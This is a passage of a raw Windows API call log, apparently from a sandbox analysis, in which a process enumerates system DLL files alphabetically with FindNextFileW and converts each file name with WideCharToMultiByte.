lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0028.470] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x38c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0028.470] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.470] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x38c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0028.470] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x38c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0028.471] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.471] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0028.471] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.471] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x38c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0028.471] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x38c288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0028.471] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.471] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.471] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0028.472] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.472] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.472] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.472] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.472] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.472] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.472] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x38c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0028.472] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.473] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x38c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0028.473] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.473] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0028.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 